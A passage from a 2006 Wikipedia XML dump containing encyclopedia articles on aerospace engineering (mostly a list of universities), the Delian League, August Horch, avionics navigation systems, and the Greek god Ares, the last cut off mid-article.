The basis of most of these elements lies in theoretical [[mathematics]], such as [[fluid dynamics]] for aerodynamics or the [[equations of motion]] for [[flight dynamics]].  However, there is also a large [[empiricism|empirical]] component.  Historically, this empirical component was derived from testing of scale models and prototypes, either in wind tunnels or in the free atmosphere.  More recently, advances in [[computing]] have enabled the use of [[computational fluid dynamics]] to simulate the behavior of fluid, reducing time and expense spent on wind-tunnel testing.

Additionally, aerospace engineering addresses the integration of all components that constitute an aerospace vehicle (subsystems including power, communications, thermal control, life support, etc.) and its life cycle (design, temperature, pressure, radiation, velocity, life time), leading to extraordinary challenges and solutions specific to the domain of aerospace systems engineering.

See [[List of aerospace engineering topics]].


==Popular culture==
Popular culture has not been unaffected by this branch of engineering. The term &quot;rocket scientist&quot; is at times used to describe a person of remarkable or in the considered context higher than average inteligence. Aerospace engineering has also been represented as the more &quot;glittery&quot; pinnacle of engineering. The movie [[Apollo 13]] depicts the ground team as group of heros in a Hollywood fashion glorifying the inteligence and competence of ''white shirt and tie'' proffesionals as a sharp contrast to pop culture trends. This was later extended in more detail in the spin-off series [[From the Earth to the Moon]].

==Aerospace engineering degrees==
Aerospace (or aeronautical) engineering can be studied at the [[bachelor's degree|bachelors]], [[master's degree|masters]], and [[Doctor of Philosophy|Ph.D.]] levels in aerospace engineering departments at many universities, and in mechanical engineering departments at others.

At least the following institutions offer aerospace engineering education (school names followed by accredation where applicable):
* [[Australia]]
**[[Australian Defence Force Academy]]
** [[University of New South Wales]]
** [[University of Sydney]]
** [[Monash University]]
**[[RMIT University]]
* [[Brazil]]
** [[Aeronautics Technological Institute|Instituto Tecnológico de Aeronáutica]]
* [[Canada]]
** [[Carleton University]]
** [[Ryerson University]]
** [[University of Toronto]]
* [[France]]
** [[École Nationale Supérieure de l'Aéronautique et de l'Espace]]
* [[Germany]]
** [[University of Stuttgart]]
* [[India]]
** [[Indian Institute of Technology, Bombay]]
** [[Indian Institute of Technology, Kanpur]]
** [[Indian Institute of Technology, Kharagpur]]
** [[Indian Institute of Technology, Madras]]
* [[Italy]]
** [[University of Bologna]]
** [[Politecnico di Milano]]
** [[Politecnico di Torino]]
** [[University of Pisa]]
* [[Netherlands]]
** [[Delft University of Technology]] (ABET)
* [[Portugal]]
** [[Instituto Superior Técnico]]
** [[Universidade da Beira Interior, Covilhã]]
* [[Sweden]]
** [[Kungliga Tekniska Högskolan, Stockholm]]
* [[United Kingdom]]
** [[University of Bristol]]
** [[University of Liverpool]]
** [[University of Southampton]] 
** [[University of Sheffield]] (MEng)
** [[Cranfield University]]
** [[Imperial College London]], [[University of London]] (MEng)
* [[United States]]
** [[Air Force Institute of Technology]] ([[Accreditation Board for Engineering and Technology]] (ABET))
** [[University of Alabama in Huntsville]] (ABET)
** [[University of Alabama]] (ABET)
** [[Arizona State University]] (ABET)
** [[University of Arizona]] (ABET)
** [[Auburn University]] (ABET)
** [[Boston University]] (ABET)
** [[California Polytechnic State University, San Luis Obispo]] (ABET)
** [[California State Polytechnic University, Pomona]] (ABET)
** [[California State University, Long Beach]] (ABET)
** [[University of California, Davis]] (ABET)
** [[University of California, Irvine]] (ABET)
** [[University of California, Los Angeles]] (ABET)
** [[University of California, San Diego]] (ABET)
** [[Case Western Reserve University]] (ABET)
** [[University of Central Florida]] (ABET)
** [[University of Cincinnati]] (ABET)
** [[Clarkson University]] (ABET)
** [[University of Colorado at Boulder]] (ABET)
** [[Embry-Riddle Aeronautical University]]
*** Daytona Beach campus (ABET)
*** Prescott campus (ABET)
** [[Florida Institute of Technology]] (ABET)
** [[University of Florida]] (ABET)
** [[Georgia Institute of Technology]] (ABET)
** [[University of Illinois at Urbana-Champaign]] (ABET)
** [[Illinois Institute of Technology]] (ABET)
** [[Iowa State University]] (ABET)
** [[University of Kansas]] (ABET)
** [[University of Maryland, College Park]] (ABET)
** [[Massachusetts Institute of Technology]] (ABET)
** [[University of Michigan]] (ABET)
** [[University of Minnesota]] (ABET)
** [[Mississippi State University]] (ABET)
** [[University of Missouri-Rolla]] (ABET)
** [[Naval Postgraduate School]] (ABET)
** [[University at Buffalo]] (ABET)
** [[North Carolina State University]] (ABET)
** [[University of Notre Dame]] (ABET)
** [[Ohio State University]] (ABET)
** [[Oklahoma State University]] (ABET)
** [[University of Oklahoma]] (ABET)
** [[Pennsylvania State University]] (ABET)
** [[Princeton University]] (ABET)
** [[Purdue University]] (ABET)
** [[Rensselaer Polytechnic Institute]] (ABET)
** [[Saint Louis University]] (ABET)
** [[San Diego State University]] (ABET)
** [[San Jose State University]] (ABET)
** [[University of Southern California]] (ABET)
** [[Syracuse University]] (ABET)
** [[University of Tennessee at Knoxville]] (ABET)
** [[Texas A &amp; M University]] (ABET)
** [[University of Texas at Arlington]] (ABET)
** [[University of Texas at Austin]] (ABET)
** [[Tuskegee University]] (ABET)
** [[United States Air Force Academy]] (ABET)
** [[United States Naval Academy]] (ABET)
** [[Virginia Polytechnic Institute and State University]] (ABET)
** [[University of Virginia]] (ABET)
** [[University of Washington]] (ABET)
** [[West Virginia University]] (ABET)
** [[Western Michigan University]] (ABET)
** [[Wichita State University]] (ABET)

== See also ==
* [[Aerospace]]
* [[List of aerospace engineering topics]]
* [[List of aerospace engineers]]
* [[Schlieren photography]]
* [[Helicopter noise reduction]]
* [[Atmospheric reentry]]

=== Challenging aerospace engineering competitions ===
* [[Centennial Challenges]] - NASA prize contests

=== National aerospace agencies ===
* [[Canadian Space Agency]] (CSA)
* [[European Space Agency]] (ESA)
* [[Russian Space Agency]] (RKA)
* [[NASA|National Aeronautics and Space Administration]] (NASA)

=== Aerospace engineering societies ===
* [[American Institute of Aeronautics and Astronautics]] (AIAA)

=== Major aerospace corporations ===
* [[Boeing]]
* [[Bombardier]]
* [[Airbus]] ([[EADS]]) 
* [[United Technologies Corporation]]
* [[General Dynamics]]
* [[Lockheed Martin]]
* [[Northrop Grumman]]
* [[Raytheon]]
* [[Honeywell]]

==External links==
* [http://www.ari.ac.ir Aerospace Research Institute,IRAN], Persian Language [پژوهشگاه هوافضا]
* [http://aerospace-news.persianblog.com Space Science], Persian Language [دانش فضايي]


{{Technology-footer}}

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  <page>
    <title>Delian League</title>
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      <comment>Disambiguate [[Samos]] to [[Samos Island]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Athenian_empire_450.jpg|thumb|350px|right|Delian League (Athenian Empire), at its height in 450 B.C.]]

The '''Delian League''' was an association of [[Greece|Greek]] [[city-state]]s in the [[5th century BC]].  It was led by [[Athens]].  Because many of the league's [[Polis]]' were too poor to contribute ships to the collective navy, they paid taxes to Athens so that there would be enough money to build the expensive [[trireme]]s.

In [[478 BC]], following the defeat of [[Xerxes I|Xerxes]]' invasion of Greece, [[Pausanias (general)|Pausanias]] the [[Sparta]]n led Hellenic forces against the [[Iran|Persia]]ns.  He was an unpopular commander (who may have conspired with the Persians), and Sparta was eager to stop prosecuting the war.  They surrendered the leadership of the ongoing campaign to [[Athens]], which was eager to accept it.  The Delian League was inaugurated in [[477 BC]] as an offensive and defensive alliance against Persia.  The principal cities in the League were [[Athens]], [[Chios]], [[Samos Island|Samos]], and [[Lesbos Island|Lesbos]], but many of the principal islands and [[Ionia]]n cities joined the league.

[[Athens]] led the Delian League from the beginning, though at its founding the [[treasury]] was located on the island of [[Delos]], and each state in the league had an equal vote.  The assessment due from each state was assigned by [[Aristides the Just]], leader of the Athenians; some members were assessed ships, others troops, others weapons, and others money.  A council of all the cities met at Delos regularly, probably when bringing their assessment to the island.

The first action of the Delian League, under the command of [[Cimon]], was the capture of [[Eion]], a Persian fortification that guarded a river crossing on the way to [[Asia]]; following this victory, the League acted against several [[pirate]] islands in the [[Aegean Sea]], most notably against [[Scyros]] where they turned the [[Dolopian]] inhabitants into slaves, and [[Athens]] set up a settler-colony (known as a [[cleruchy]]).  A few years later they sailed against [[Caria]] and [[Lycia]], defeating both the Persian army and navy in the [[battle of the Eurymedon]].

These actions were most likely very popular with the League's members.  However, the League, particularly the [[Athenians]], were willing to force cities to join or stay in the League.  [[Carystus]], a city on the southern tip of [[Euboea]], was forced to join the League by military actions of the Athenians.  The justification for this was that Carystus was enjoying the advantages of the League (protection from pirates and the Persians) without taking on any of the responsibilities.  Furthermore, Carystus was a traditional base for Persian occupations.  Athenian politicians had to justify these acts to Athenian voters in order to get votes.  [[Naxos, Greece|Naxos]], a member of the Delian League, attempted to secede, and was enslaved; Naxos is believed to have been forced to tear down her walls, lost her fleet, and her vote in the League.

[[Thucydides]] tells us that this is how Athens' control over the League grew.
&lt;blockquote&gt;
Of all the causes of defection, that connected with arrears of tribute and vessels, and with failure of service, was the chief; for the Athenians were very severe and exacting, and made themselves offensive by applying the screw of necessity to men who were not used to and in fact not disposed for any continuous labor.  In some other respects the Athenians were not the old popular rulers they had been at first; and if they had more than their fair share of service, it was correspondingly easy for them to reduce any that tried to leave the confederacy.  The Athenians also arranged for the other members of the league to pay its share of the expense in money instead of in ships and men, and for this the subject city-states had themselves to blame, their wish to get out of giving service making most leave their homes.  Thus while Athens was increasing her navy with the funds they contributed, a revolt always found itself without enough resources or experienced leaders for war.  [Thucydides i. 99]
&lt;/blockquote&gt;

In [[454 BC]], Athens moved the treasury of the Delian League from Delos to Athens, allegedly to keep it safe from Persia.  However, [[Plutarch]] indicates that many of [[Pericles]]' rivals viewed the transfer as Athens usurping monetary resources to fund elaborate building projects.     They also switched from accepting ships, men and weapons, to only accepting money.  The new treasury established in Athens was used for many purposes, not all relating to the defense of members of the league.  It was from tribute paid to the league that Athenians built the [[Acropolis]] and the [[Parthenon]], as well as many other non-defense related expenditures.  It was during this time that some claim that the [[Athenian Empire]] arose, as the technical definition of ''empire'' is a group of cities paying taxes to a central, dominant city, while keeping local governments intact.  This is what was happening in the Delian League.  It was turning from an alliance to an empire.

In [[461 BC]], Cimon was [[ostracism|ostracized]], and was succeeded in his influence by democrats like [[Ephialtes]] and [[Pericles]].  This signaled a complete change in Athenian foreign policy, neglecting the alliance with the [[Sparta]]ns and instead allying with her enemies, [[Argos]] and [[Thessaly]].  [[Megara]] deserted the Peloponnesian league and allied herself with Athens, allowing construction of a double line of walls across the isthmus of [[Corinth]], protecting Athens from attack from that quarter.  Around the same time they also constructed the [[Long Walls]] connecting their city to the [[Piraeus]], its port, making it effectively invulnerable to attack by land.

Soon war with the Peloponnesians broke out.  In [[458 BC]], the Athenians blockaded the island of [[Aegina]], and simultaneously defended Megara from the Corinthians by sending out an army composed of those too young or old for regular military service.  The next year [[Sparta]] sent an army into [[Boeotia]], reviving the power of [[Thebes (Greece)|Thebes]] to help hold the Athenians in check.  Their return was blocked, and they resolved to march on Athens, where the Long Walls were not yet completed, winning a victory at the [[Battle of Tanagra (457 BC)|Battle of Tanagra]].  All this accomplished, however, was to allow them to return home via the Megarid.  Two months later, the Athenians under [[Myronides]] invaded [[Boeotia]], and winning the [[battle of Oenophyta]] gained control of the whole country except Thebes.

War with the Persians continued, however.  In [[460 BC]], [[Egypt]] had revolted under [[Inarus]] and [[Amyrtaeus]], who requested aid from Athens.  [[Pericles]] led 200 ships, originally intended to attack [[Cyprus]], to their aid because it would hurt Persia.  Persia's image had already been hurt when it failed to conquer the [[Greeks]] and [[Pericles]] wanted to further this.  After four years, however, the rebellion was defeated by the general [[Megabyzus]], who captured the greater part of the Athenian forces.  The remainder escaped to [[Cyrene, Libya|Cyrene]] and thence returned home.

This was Athenians' main (public) reason for moving the treasury of the League from Delos to Athens, further consolidating their control over the League.  The Persians followed up their victory by sending a fleet to re-establish their control over [[Cyprus]], and 200 ships were sent out to counter them under [[Cimon]], who returned from ostracism in [[451 BC]].  He died during the blockade of [[Citium]], though the fleet won a double victory by land and sea over the Persians off [[Salamis, Cyprus|Salamis]].

This battle was the last major one fought against the Persians. Many writers report that a formal peace treaty, known as the [[Peace of Callias]], was formalized in [[450 BC]], but some writers believe that the treaty was a myth created later to inflate the stature of Athens.  However, an understanding was definitely reached, enabling the Athenians to focus their attention on events in Greece proper.

The peace with Persia, however, was followed by further reverses.  The [[battle of Coronea (447 BC)|Battle of Coronea]], in [[447 BC]], led to the abandonment of Boeotia.  [[Euboea]] and [[Megara]] both revolted, and while the former was restored to its status as a tributary ally, the latter was a permanent loss.  The Delian and Peloponnesian Leagues signed a peace treaty, which was set to endure for thirty years.  It only lasted until [[431 BC]], when the [[Peloponnesian War]] broke out.

Those who revolted unsuccessfully during the war saw the example made of the [[Mytilene|Mytilenians]], the principal people on Lesbos.  After an unsuccessful revolt, the Athenians ordered the death of the entire male population.  After some thought, they rescinded this order, and only put to death the leading 1000 ringleaders of the revolt, and redistributed the land of the entire island to Athenian shareholders, who were sent out to reside on Lesbos.

This type of treatment was not reserved solely for those who revolted.  [[Thucydides]] documents the example of [[Melos]], a small island, neutral in the war, though originally founded by Spartans.  The Melians were offered a choice to join the Athenians, or be conquered.  Choosing to resist, their town was besieged and conquered; the males were put to death, and the women sold into slavery (see [[Melian dialogue]]).

The Delian League was never formally turned into the Athenian Empire; but by the start of the [[Peloponnesian War]], only [[Chios]] and Lesbos were left to contribute ships, and these states were by now far too weak to secede without support.  Lesbos tried to revolt first, and failed completely.  Chios, the greatest and most powerful of the original members of the Delian League (save Athens), was the last to revolt, and in the aftermath of the [[Syracusan Expedition]] enjoyed a success of several years, inspiring all of Ionia to revolt.  Athens was, however, still able to eventually suppress these revolts.

The Athenian Empire was very stable, and only 27 years of war, aided by the Persians and internal strife, were able to defeat it.  The Athenian Empire did not stay defeated for long.  The [[Second Athenian Empire]], a maritime self-defense league, was founded in [[377 BC]] and was led by Athens; but Athens would never recover the full extent of her power, and her enemies were now far stronger and more varied.


==See also==
*[[Athenian democracy]]
*[[Hellenic civilization]]
*[[Peloponnesian War]]
*[[Delian League (Band)]]
==External links==
*[http://www.livius.org Livius], [http://www.livius.org/de-dh/delian_league/delian_league.html Delian League] by Jona Lendering

[[Category:Ancient Greece]]
[[Category:History of Athens]]
[[Category:Military alliances]]

[[de:Attischer Seebund]]
[[fr:Impérialisme athénien]]
[[he:הליגה האטית-דלית]]
[[nl:Delische Bond]]
[[ja:デロス同盟]]
[[pl:Ateński Związek Morski]]
[[sv:attiska sjöförbundet]]</text>
    </revision>
  </page>
  <page>
    <title>August Horch</title>
    <id>2038</id>
    <revision>
      <id>38963211</id>
      <timestamp>2006-02-09T20:36:36Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] clean up + typo fix</comment>
      <text xml:space="preserve">'''August Horch''' ([[October 12]], [[1868]] - [[February 3]], [[1951]]) was a German engineer and automobile pioneer, he founded the manufacturing firm that would become [[Audi]]. 

[[Image:Gedenktafel horch ehrenfeld.jpg|thumb|Memorial plate in [[Cologne, Germany]].]]

He was born in [[Winningen]], [[Moselle]]. He was educated in Mittweida.

He worked for [[Karl Benz]] from [[1896]] before founding ''A. [[Horch]] &amp; Cie'' in November [[1899]] in Ehrenfeld, [[Cologne, Germany]]. The first Horch automobile was built in 1901. The company moved to Reichenbach in [[1902]] and [[Zwickau]] in [[1904]]. Horch left the company in 1909 after a dispute and set up in competition in Zwickau. His new firm was initially called ''Horch Automobil-Werke GmbH'', but following a legal dispute over the ''Horch'' name he was oblidged to change the company name. (The court decided that ''Horch'' was a registered trademark on behalf of August Horch's former partners and August Horch was not entitled to use it any more.) Consequently, Horch renamed his company to ''Audi Automobilwerke GmbH'' in [[1910]], ''Audi'' being the Latinization of Horch. 

In August [[1928]] the [[Denmark|Danish]] engineer [[Jørgen Skafte Rasmussen]] of [[DKW]] acquired a majority holding in Audiwerke. In June [[1932]] Audi, DKW, Horch and [[Wanderer (car)|Wanderer]] merged to form [[Auto Union]] AG, the new company's logo was four interlinked rings, one for each of the founder companies. [[Horch]] was on the supervisory board of Auto Union.

[[Category:1868 births|Horch, August]]
[[Category:1951 deaths|Horch, August]]
[[Category:Automotive pioneers|Horch, August]]
[[Category:German engineers|Horch, August]]

[[da:August Horch]]
[[de:August Horch]]
[[fr:August Horch]]</text>
    </revision>
  </page>
  <page>
    <title>Avionics</title>
    <id>2039</id>
    <revision>
      <id>41781684</id>
      <timestamp>2006-03-01T18:34:24Z</timestamp>
      <contributor>
        <ip>81.41.40.16</ip>
      </contributor>
      <text xml:space="preserve">The onboard electronics used for piloting an [[aircraft]] are called '''avionics''' (AVI-ation electr-ONICS). Avionics include communications and navigation systems, [[autopilot]]s, and electronic [[flight management system]]s (FMS).  Onboard electronics that are unrelated to piloting tasks, such as video systems for passengers, are sometimes considered avionics as well.  Many of these devices include [[embedded system|embedded computers]]. The term is also used to define the electronics units fitted to a [[spacecraft]].

== History ==

[[Radiotelephone]] ([[two-way radio|two way voice radio]]) systems have been installed in aircraft since before [[World War II]], and have been widely used for mission coordination and [[air traffic control]].  Early systems used [[vacuum tube]]s, and because of their weight and size, were installed out of the way with only a control head in place in the flight deck.  Standardization on [[Very high frequency|VHF]] frequences occurred shortly after [[World War II]], and [[transistor radio]] systems replaced the tube-based systems shortly afterward.  Only minor changes have been made to these systems since the [[1960s]].

The earliest navigation systems required the [[Aviator|pilot]] or [[navigator]] to wear [[headphones]] and listen to the relative volume of tones in each ear to determine which way to steer on course.

Later, navigation systems developed along five separate paths:
* [[Non-directional beacon|NDB/ADF]] systems
* [[VHF omnidirectional range|VOR]] systems
* [[Instrument Landing System|ILS]] systems
* [[ATCRBS]] Transponders
* [[Distance Measuring Equipment]]
* [[Global Positioning System|GPS]] receivers

==== Non-Directional Radiobeacon ====

The [[Non-directional beacon|NDB]] (non-directional radiobeacon) was the first electronic navigation system in widespread use.  The original radio range stations were high-power NDBs, and followed nighttime routes previously delineated by colored light beacons.  DF (direction finder) and [[Automatic Direction Finder|ADF]] (Automatic Direction Finder) avionics can receive signals from these.  A needle shows the pilot the relative [[heading]] toward the station compared to the centerline of the aircraft.  NDBs use the [[Low Frequency|LF]] and [[Medium frequency|MF]] bands, and are still in use today (2005) at smaller airports because of their low cost but their use is quickly being supplanted by GPS.  This is due mostly from the higher cost of ADF equipment in the aircraft and maintaining the NDB stations.

==== VHF Omni Range ====

The [[VHF omnidirectional range|VOR]] system ([[Very high frequency|VHF]] omni range) is less prone to [[interference (communication)|interference]] from [[thunderstorm]]s, and provides improved accuracy.  It is still the backbone of the air navigational system today.  VOR receivers allow the pilot to specify a ''[[radial]]'', that is, a line extending outward from the VOR transmitter at a particular angle from magnetic north.  Then, a [[course deviation indicator]] (CDI) shows the amount by which the aircraft is off the chosen course.  [[Distance measuring equipment]] (DME) was added to many VOR transmitters and receivers, allowing the distance between the station and the aircraft to be shown .

==== Instrument Landing System ====

The [[instrument landing system]] (ILS) is a set of components used to navigate to the landing end of a runway.  It consists of lateral guidance from a ''[[localizer]]'', vertical guidance from a ''[[glideslope]]'', and distance guidance from a series of ''marker beacons.''  Optional components include [[Distance measuring equipment|DME]] and a ''compass locator,'' the name given to an NDB placed at the start of the final approach course.

==== Transponder ====

The [[transponder]] is a transceiver that receives &quot;interrogations&quot; from [[air traffic control]] [[radar]] systems and replies with a digital code. This [[radar|secondary radar]] reply permits the radar system to detect the [[aircraft]] more reliably and at greater distances than are possible with [[primary radar]]. This system of secondary radars and transponders is known collectively as the [[air traffic control radar beacon system]], or ATCRBS.

A basic &quot;mode A&quot; transponder responds with a 4-digit code with each digit ranging from 0 to 7. This is called a 4,096 code transponder. This pilot sets the code according to the type and status of the flight or as directed by [[air traffic control]].

A &quot;mode C&quot; transponder also replies with the [[pressure altitude]] of the aircraft encoded to the nearest 100 feet (30 m). Modern &quot;mode S&quot; transponders can respond with a longer digital identifier that is unique for each aircraft (thus allowing each aircraft to be uniquely identified even when there is no voice communication between the aircraft and air traffic control) and can receive digital traffic information from [[air traffic control]] [[radar]] systems and display them for the pilot.

An IFF transponder, &quot;[[Identification friend or foe]]&quot;, is used in [[military aircraft]] and has additional modes of operation beyond those used in civil air traffic control.

==== DME ====

[[Distance Measurement Equipment]] (DME) is used to inform the pilot of his/her aircraft's distance away from the [[VHF omnidirectional range|VOR]] station, thus with a [[bearing]] and distance from a particular known VOR station a pilot can [[fix (position)|fix]] his exact position. Such systems are refered to as VOR/DME. DME is also part of a military navigation system widely used in the US, the [[TACAN]] (TACtical Air Navigation). A ground station combining VOR and TACAN is known as VOR-TAC. The frequencies for the VOR and DME or VOR and TACAN are paired by international standards. Once a pilot tunes onto a particular VOR frequency, the airborne equipment will automatically tunes on the co-located DME or Tacan.

==== LORAN ====

For a time, [[LORAN]] systems, which provide navigational guidance over large areas, were popular particularly for general aviation use.  They have declined in popularity with the commercial availability of GPS service in small planes, and INS, widely used in large airliners.

===Auxiliary and diagnostic systems===

[[civil aviation|Commercial aircraft]] are expensive, and only make money when they are flying.  For this reason, efficient operators perform as much service as possible in-flight, and during the turn-around time in a terminal.  To make this process possible, [[embedded computer]] systems test aircraft systems, and also collect information about faults in equipment that they control.  This information is normally collected in an on-board maintenance computer, and sometimes transmitted ahead to help order spares.  Although this sounds ideal, in real life, these self-test systems are often not considered flight-critical, and therefore they are sometimes unreliable, and trusted only to indicate that a device requires service.

==Recent advances==

Avionics have changed significantly with the advent of the GPS receiver and &quot;[[glass cockpit]]&quot; display systems.  

===Global Positioning System (GPS)===

The use of the [[Global Positioning System]] (GPS) has changed aircraft navigation both in the en-route phase and approach (landing) phases of flight.

Aircraft have traditionally flown from one radio navigation aid (&quot;navaids&quot;) to the next (e.g., from [[VHF omnidirectional range|VOR]] to VOR).  The paths between navaids are called [[airways]].  While this is rarely the shortest route between any two [[airport]]s, the use of airways was necessary because it was the only way for aircraft to navigate with precision in instrument conditions.  The use of GPS has changed this, by allowing &quot;direct&quot; routing, allowing aircraft to navigate from point to point without the need for ground-based navigation.  This has the potential to save significant amounts of both time and [[jet fuel|fuel]] while en-route.

However, &quot;direct-to&quot; routing causes non-trivial difficulties for the [[air traffic control]] (ATC) system.  ATC's basic purpose is to maintaining appropriate vertical and horizontal separation between aircraft.  The use of direct routing makes maintaining separation harder.  A good analogy would be vehicular traffic:  Roads are comparable to airways.  If there were no roads and drivers simply went directly to their destination, significant chaos would ensue (e.g., large parking lots without barriers or lines).  ATC does give clearance for direct routing on occasion, but its use is limited.  Projects like [[Free flight (air traffic control)|free flight]] propose to computerize ATC and allow greater use of direct routing by identifing potential conflicts and suggesting maneuvers to maintain separation.  This is much like the existing [[Traffic Collision Avoidance System]], but on a larger scale and would look further forward in time.

GPS has also significantly changed the approach phase of flight.  When horizontal visibility and vertical cloud ceilings are below [[visual flight rules]] (VFR) minimums, 
aircraft must operate under [[instrument flight rules]] (IFR).  Under IFR, aircraft must use navigational equipment for horizontal and vertical [[guidance system|guidance]].  This is particularly important in the [[approach control|approach]] and landing phases of flight.  The path and procedure used to land on a particular [[runway]] is called an [[instrument approach]].

IFR approaches traditionally required the use of ground-based navaids such as VOR, NDB and ILS.  GPS offers some significant advantages over traditional systems in that no ground-based equipment is required, reducing cost.  This has allowed many smaller airports that cannot justify ILS equipment to now have instrument approaches.  GPS receivers for aircraft are also less expensive, use a single small antenna, and require virtually no calibration.

The downside to GPS approaches is that they have higher minimum visibility and ceiling requirements.  ILS typically require a cloud ceiling no lower than 200 feet above ground level and horizontal visibility greater than 1/4 mile, while GPS minimums are typically never less than 400 feet and 1 mile.  This difference in minimums is because GPS approaches offer horizontal guidance only.  Vertical guidance is possible, but GPS accuracy in the vertical is not as high as in the horizontal.  To solve this problem, the [[Federal Aviation Administration|FAA]] has implemented the [[Wide Area Augmentation System]] (WAAS).  GPS receivers with WAAS capability have typical vertical accuracy of 2-3 meters.  This is sufficient for ILS-type approaches, i.e., those with vertical navigation.  GPS/WAAS receivers certified for vertical navigation GPS approaches are slowly coming to the market.

Although the FAA was initially slow to allow the use of GPS in IFR approaches, the number of published GPS approaches is climbing significantly.  However, because ILS has lower minimum visibility and ceiling requirements, ILS remains the &quot;best&quot; type of approach, and the FAA has committed to maintaining ILS installations.

===Glass cockpits===
{{main|Glass cockpit}}
Advances in computing power and flat panel [[LCD]] displays have made the [[glass cockpit]] possible.  Glass cockpits are loosely defined as aircraft flight decks where information is presented on one or more electronic displays.  They offer significantly lower pilot workloads and improved [[situational awareness]] over traditional &quot;steam gauge&quot; flight decks.

Glass cockpits were first introduced on airliners and military aircraft.  Recently, they have started to appear in [[general aviation]] aircraft such as the [[Cirrus Design]] [[Cirrus SR20|SR20]] and [[Lancair]] designs.

==See also==
*[[Flight data recorder]] (FDR)
*[[Emergency locator transmitter]] (ELT)
*[[Avionics software]]

[[Category:Avionics| ]]
[[Category:Embedded systems]]
[[Category:Electronics]]
[[category:Wireless communications]]

[[Category:Aircraft instruments]]
[[Category:Spacecraft components]]

[[da:Luftfartselektronik]]
[[de:Avionik]]
[[fr:Avionique]]
[[ja:アビオニクス]]
[[ko:에비오닉스]]
[[he:אוויוניקה]]
[[pt:Aviónica]]</text>
    </revision>
  </page>
  <page>
    <title>Ares</title>
    <id>2041</id>
    <revision>
      <id>41652286</id>
      <timestamp>2006-02-28T20:35:22Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/156.108.112.66|156.108.112.66]] ([[User talk:156.108.112.66|talk]]) to last version by Dekaels</comment>
      <text xml:space="preserve">:For other uses, see [[Ares (disambiguation)]].''
{{Greek myth (Olympian)}}
In [[Greek mythology]], '''Ares''' (&quot;battle strife&quot;; in Greek, &amp;#x1F08;&amp;rho;&amp;eta;&amp;sigmaf;), is the [[god]] of [[war]] and son of Zeus and Hera. Before sacred battles people worshipped him.  The Romans [[interpretatio Romana|identified]] [[Mars (god)|Mars]], the god of war (whom they had inherited from the [[Etruscans]]) with Hellenic Ares, but among them, Mars stood in much higher esteem. Among the Hellenes, Ares was always mistrusted: His birthplace and true home was placed far off, among the barbarous and warlike [[Thracia]]ns (''Iliad'' xiii.301; ''Odyssey'' viii.361; Ovid). 

Although important in poetry, Ares was only rarely the recipient of [[Cult (religion)|cult worship]], save at [[Sparta]] and in the founding myth of [[Thebes, Greece|Thebes]], and he appeared in few myths (Burkert 1985, p.169). The temple to Ares in the agora of [[Athens]] that [[Pausanias (geographer)|Pausanias]] saw in the 2nd century AD had only been moved and rededicated there during the time of [[Augustus]]; in essence it was a Roman temple to Mars. The [[Areopagus]], the &quot;hill of Ares&quot; where [[Paul of Tarsus|Paul]] preached, is sited at some distance from the Acropolis; from archaic times it was a site of trials. Its connection with Ares, perhaps based on a false etymology, may be purely [[etiological]].

The single major role of Ares sited in mainland Greece itself was in the founding myth of [[Thebes, Greece|Thebes]]: Ares was the progenitor of the water-dragon slain by [[Cadmus]] (Kádmos). From the dragon's teeth (sown as if a crop) arose a race of fighting men, the descendents of Ares. To propitiate Ares, Cadmus took as a bride [[Harmonia (Greek_goddess)|Harmonía]], daughter of Ares' union with Aphrodite, thus harmonizing all strife and founding the city of Thebes. 
[[Image:Ares villa Hadriana.jpg|thumb|left|180px|Statue of Ares, villa Hadriana]]

Among the so-called &quot;[[Homeric hymn]]s&quot;, a &quot;Hymn to Ares&quot; has been transmitted in the manuscripts, although modern scholarship has detected that it was written in [[Late Antiquity]] (Burkert p 415, note 15). Even so, apart from sacrifices to him made by commanders of armies in the field, Ares was venerated most often in conjunction with other gods; for example, he shared a temple with [[Aphrodite]] at [[Thebes, Greece|Thebes]]. Besides Aphrodite, the adjective ''areios, areia'' is applied to other gods in their warlike aspect.  In the ''[[Iliad]]'' &quot;Ares&quot; is as often embodied in a battle formula connoting rough strife as he is personified as a bronze-armoured god: he is repeatedly contrasted with [[Athena]], to his disadvantage. To Athena is reserved the one glorious aspect of war, ''[[Nike (mythology)|Nike]]'', &quot;[[victory]]&quot;. (Burkert p 169). At Athens, the ''[[Areopagus|Areios pagus]]'' near the Acropolis, is equally the &quot;Hill of Ares&quot; and simply the &quot;Battle Hill&quot;.

For Mars, ''Enyalios'' was sometimes used as an epithet: see [[Ares Enyalius]].  Interestingly, the [[Mycenean Greek]] [[Linear B]] tablets list a god [[Enyalios]], while ''ares'' seems already to be a common noun meaning &quot;war.&quot;  By classical times, however, ''Enyalios'' had been demoted to the status of hero (as in the ''[[Iliad]]'') and Ares the name for the god.  ''Enyalios'' survived as a cult-title in only a few settings, most notably in the oath of the [[ephebe]]s at [[Athens]].

In one archaic [[mytheme]], related by the ancient earth-goddess [[Dione (mythology)|Dione]] to her daughter [[Aphrodite]], two chthonic giants, the brothers [[Aloadae|Otus]] and [[Ephialtes]], threw Ares into chains and put him in a bronze urn, where he had to endure for thirteen months, a [[lunar year]]. &quot;And that would have been the end of Ares and his appetite for war, if the beautiful [[Eriboea]], the young giants' stepmother, had not told [[Hermes]] what they had done,&quot; she related (''Illiad'', v. 385&amp;ndash;91). &quot;In this one suspects a festival of licence which is unleashed in the thirteenth month,&quot; Burkert observes (p 169).
   
&lt;!-- Image with unknown copyright status removed: [[Image:Ares.jpg|thumb|right|The ''[[Ludovisi Ares]]'' is a Roman marble Mars, possibly after a 4th-century Greek original. A playful [[Eros]] is at his feet. (Museo delle Termi, Rome)]] --&gt;
There are accounts of a son of Ares, [[Cycnus]] (''Kýknos'') of [[Macedonia (region)|Macedonia]], who was so murderous that he attempted to build a temple with the skulls and the bones of travellers. [[Heracles]] slaughtered this abominable monstrosity, engendering the wrath of Ares, whom the hero wounded ([[Apollodorus]] 2.114). 

Ares gave [[Hippolyte]] the girdle that [[Heracles]] took.

